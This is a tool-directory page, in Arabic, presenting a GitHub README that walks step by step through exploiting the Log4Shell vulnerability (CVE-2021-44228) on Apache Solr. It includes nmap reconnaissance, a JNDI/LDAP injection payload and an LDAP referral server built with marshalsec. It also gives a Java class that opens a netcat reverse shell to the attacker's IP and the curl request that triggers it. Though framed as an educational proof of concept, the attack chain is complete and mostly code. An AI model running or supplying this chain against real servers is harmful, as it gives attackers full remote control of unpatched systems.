Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-44228 — ثغرة Log4j لتنفيذ الأوامر عن بُعد - CVE-2021-44228 | Kitploit
أدوات/GitHubGitHub/lucaspdiniz/cve-2021-44228
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHublucaspdiniz/cve-2021-44228

CVE-2021-44228

ثغرة Log4j لتنفيذ الأوامر عن بُعد - CVE-2021-44228

عرض المستودع
149منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة Log4j - CVE-2021-44228 📗

  • مقدمة

تم اكتشاف هذه الثغرة في 9 ديسمبر 2021، وتم تحديدها بـ CVE-2021-44228، وتؤثر هذه الثغرة على حزمة سجلات جافا، مما ينتج عنه درجة خطورة (CVSS) تبلغ 10 نقاط، مما يتيح تنفيذ وصول عن بُعد إلى المضيف. تُعرف هذه الثغرة في مجتمع الأمن السيبراني باسم LOG4SHELL.

إذا كنت تريد قائمة ببائعي البرامج المتأثرين بثغرة LOG4J، تحقق من المستودع أدناه؛

GitHub/Log4jAttackSurface

  • الاستطلاع

لإثبات هذا النوع من الهجمات، لدينا مضيف بإصدار ضعيف (Apache Solr 8.11.0) من حزمة log4j مع Java 1.8.0_181.

ابدأ باستطلاع أساسي لفهم المنافذ المفتوحة على هذا الجهاز باستخدام أداة nmap (أو أي أداة أخرى تهمك).

nmap -v -p- poc.log4j - Host vulnerable

Nmap
في هذه الحالة، تم العثور على 3 منافذ مفتوحة. دعنا نحسّن nmap الخاص بنا، مع إبلاغنا فقط بالمنافذ المفتوحة وأمر -sV (إرجاع إصدار تطبيق المنفذ)

nmap -v -p22,111,8983 -sV poc.log4j

version
ربما لدينا خادم Apache يعمل على المنفذ 8983. يمكننا أدناه تأكيد Apache، هذا المثيل من Apache Solr مزود بدون أي بيانات. إنه تثبيت مسطح وعادي وأقل ما يمكن.

  • إثبات المفهوم 📚

المتجه الرئيسي للهجوم في log4j هو سجل التطبيق، حيث إذا نظرنا إلى شاشة Solr، يمكننا رؤية السجل ممكّنًا في Dsolr.log.dir.

لاحظ أن نقطة النهاية URL التي كشفت عنها للتو تحتاج إلى بادئة الـ solr/ عند عرضها من واجهة الويب. هذا يعني أنه يجب عليك زيارة:

http://poc.log4j:8983/solr/admin/cores

  • لماذا /admin/cores ❓ 💬
    هنا نجد الثغرة التي يمكن استغلالها. هذه استدعاء يستقبل متغيرًا (params={}) ليتم تنفيذه، يمكننا التلاعب بهذا الإدخال وإرسال حمولتنا. أدناه يمكننا رؤية سجل تم إنشاؤه بواسطة Apache استدعاء هذا الرابط /admin/cores. codelog

تنسيق الصيغة المعتادة التي تستغل هذا يبدو كالتالي؛

${jndi:ldap://ATTACKERCONTROLLEDHOST}

تشير هذه الصيغة إلى أن log4j ستستدعي وظائف من "JNDI"، أو "واجهة تسمية ودليل جافا". في النهاية، يمكن استخدام هذا للوصول إلى موارد خارجية، أو "مراجع"، وهو ما يتم تسليحه في هذا الهجوم. لاحظ مخطط ldap://، هذا يشير إلى أن الهدف سيتصل بنقطة نهاية (موقع يتحكم فيه المهاجم، في حالة هذا الهجوم) عبر بروتوكول LDAP.

أين يمكننا إدخال صيغة ldap هذه؟

يمكنك ببساطة توفير متغيرات أو معاملات HTTP GET والتي ستقوم log4j بمعالجتها وتحليلها. كل ما يتطلبه الأمر هو هذا السطر النصي الواحد -- وهذا يجعل هذه الثغرة سهلة للغاية للاستغلال.

مواقع أخرى قد توفر فيها صيغة JNDI هذه:

  • مربعات الإدخال، نماذج تسجيل الدخول باسم المستخدم وكلمة المرور، نقاط إدخال البيانات داخل التطبيقات.
  • رؤوس HTTP مثل User-Agent، X-Forwarded-For، أو رؤوس أخرى قابلة للتخصيص.
  • أي مكان للبيانات المقدمة من المستخدم.

هل المضيف ضعيف حقًا؟

في هذه الخطوة، بعد أن نكتشف إصدار log4j على المضيف الهدف، نحتاج إلى اختباره ومعرفة ما إذا كان هذا الإصدار ضعيفًا.

نفتح المنفذ 6666 على المضيف المهاجم.

nc -vnlp 6666

قم بتقديم طلب يشمل صيغة حمولة JNDI البدائية هذه كجزء من معاملات HTTP. يمكن القيام بذلك بسهولة باستخدام أداة سطر الأوامر curl.

codelog

عند تنفيذ الحمولة، نحصل على العودة في netcat الخاص بنا على المنفذ 6666. 🙌

codelog

في هذه المرحلة، لقد تحققت من أن الهدف ضعيف بالفعل من خلال رؤية هذا الاتصال في مستمع netcat الخاص بك. ومع ذلك، فقد قام بطلب LDAP... لذا فإن كل ما رآه مستمع netcat الخاص بك قد يكون أحرفًا غير قابلة للطباعة (بايتات غريبة المظهر). يمكننا الآن البناء على هذا الأساس للاستجابة باستخدام معالج LDAP حقيقي.

دعنا نستكشف 🤘

كما رأينا في curl أعلاه، تمكنا من استخدام بروتوكول LDAP لتلقي طلب في NC الخاص بنا. ومع ذلك، نظرًا لأننا استخدمنا بروتوكولًا آخر، لا يمكننا تصور الاستجابة أو التلاعب بها.

الخطوة التالية هي إنشاء خادم LDAP حتى نتمكن من التعامل مع الطلبات، هيا بنا!

  • لتسريع هذا الإثبات، سنستخدم الأداة الجاهزة بالفعل في https://github.com/mbechler/marshalsec

  • نحتاج إلى استخدام maven لاستخدام نص marshalsec. Maven متاح في apt install maven

  • داخل مستودع marshalsec، ابدأ باستخدام maven mvn clean package -DskipTests

  • بعد بناء jar، يمكننا بدء خادم LDAP لإعادة توجيه الطلبات

استبدل YOUR.IP
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.IP:8000/#Exploit"

codelog

تحضير الاستغلال

سنترك خادم LDAP قيد التشغيل وننشئ البرنامج النصي لاستكشاف الخادم.

  • أدناه هو الاستغلال الذي سنستخدمه. أدناه هو الاستغلال الذي سنستخدمه. إنه مكتوب بلغة Java. أنشئ ملفًا باسم Exploit.java بالكلاس أدناه.
#Simple exploit that is calling /bin/bash with NC to my IP on the port 9999.

public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  • دعنا نجمّع الاستغلال باستخدام javac Exploit.java -source 8 -target 8. سيتم إنشاء Exploit.class.

  • مع جاهزية الاستغلال، دعنا نستضيفه على خادم Python python3 -m http.server.

  • دعنا نفتح منفذًا باستخدام NC لتلقي أمر bash الذي أنشأناه سابقًا. نقوم بإنشاء nc -lnvp 9999 جديد.

  • دعنا نضع كل شيء في العمل! دعنا نقوم بـ CURL لإجبار الخادم على البحث عن استغلالنا على المنفذ 8000 الذي أنشأناه باستخدام Python.

curl 'http://poc.log4j:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.IP:1389/Exploit\}'
  • تم! 👏 لدينا سيطرة كاملة على الخادم.

حسنًا، ولكن كيف حدث كل هذا ❓

  • أدناه مثال بسيط لتدفق الاستكشاف.

تنزيل الأداة